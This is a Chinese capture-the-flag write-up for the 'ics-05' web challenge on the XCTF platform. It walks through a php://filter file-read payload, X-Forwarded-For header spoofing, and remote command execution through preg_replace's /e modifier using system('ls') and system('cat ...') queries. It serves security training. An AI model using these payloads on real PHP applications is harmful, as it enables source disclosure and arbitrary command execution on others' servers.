1. 程式人生 > 其它 >CTF-WEB:攻防世界 ics-05(preg_replace() 函式 /e 漏洞)

CTF-WEB:攻防世界 ics-05(preg_replace() 函式 /e 漏洞)

目錄

檔案包含

根據題目描述“其他破壞者會利用工控雲管理系統裝置維護中心的後門入侵系統”,開啟裝置維護中心後檢視 F12。

看到超連結中有 “?page” 這個 GET 方法傳遞的引數,考慮在這個引數使用 PHP 偽協議中的 “php://filter” 讀取 index 的原始碼。

?page=php://filter/read=convert.base64-encode/resource=index.php

利用 payload 成功讀取到了 index.php 的 base64 加密形式,把它轉換回我們能看得懂的。

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
	echo "<br >Welcome My Admin ! <br >";
	$pattern = $_GET[pat];
	$replacement = $_GET[rep];
	$subject = $_GET[sub];
	if (isset($pattern) && isset($replacement) && isset($subject)) {
		preg_replace($pattern, $replacement, $subject);
	} else {
		die();
	}
}

響應頭偽造

觀察到 index.php 被執行的條件是 “$_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1'”,也就是說這個請求必須是本地的請求,修改 HTTP 響應頭 X_FORWARDED_FOR 的值為 “127.0.0.1”。

preg_replace() 函式

這段 PHP 程式碼會獲取 3 個變數:pat、rep 和 sub 的值,然後進入一個 if-else 語句。isset() 函式在 PHP 中用來判斷變數是否宣告,此處如果這 3 個值都有傳遞就會執行 preg_replace()函式。
preg_replace 函式執行一個正則表示式的搜尋和替換,語法如下:

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
引數 說明
$pattern 要搜尋的模式,可以是字串或一個字串陣列
$replacement 用於替換的字串或字串陣列
$subject: 要搜尋替換的目標字串或字串陣列
$limit 可選,對於每個模式用於每個 subject 字串的最大可替換次數。預設是 -1(無限制)
$count 可選,為替換執行的次數

如果 subject 是一個數組, preg_replace() 返回一個數組,其他情況下返回一個字串。如果匹配被查詢到,替換後的 subject 被返回,其他情況下 返回沒有改變的 subject。如果發生錯誤,返回 NULL。
這個函式有個 “/e” 漏洞,“/e” 修正符使 preg_replace() 將 replacement 引數當作 PHP 程式碼進行執行。如果這麼做要確保 replacement 構成一個合法的 PHP 程式碼字串,否則 PHP 會在報告在包含 preg_replace() 的行中出現語法解析錯誤。

獲取 flag

也就是說只要在 sub 引數中有要搜尋的 pat 的內容,同時將在 rep 前加上 “/e” 觸發漏洞,就可以執行 replacement 中的 PHP 程式碼。sub 和 pat 的引數構造只要滿足前面的條件就行,rep 引數則設定為 “system('ls')”,這句程式碼用於命令列執行 ls 命令獲取目錄下的所有檔案。

?pat=/abc/e&rep=system('ls')&sub=abc


執行成功,發現目錄下的 s3chahahaDir 資料夾的名字很可疑,再次執行 ls 命令在該檔案中檢視內容。

?pat=/abc/e&rep=system('ls+s3chahahaDir')&sub=abc


執行成功,發現 s3chahahaDir 下有個 flag 資料夾,那就更可疑了,再次執行 ls 命令在該檔案中檢視內容。

?pat=/abc/e&rep=system('ls+s3chahahaDir/flag')&sub=abc


執行成功,發現 flag 資料夾下有一個 flag.php 檔案,使用 cat 命令檢視檔案。檢視之後開啟 F12,即可看到 flag。

?pat=/abc/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=abc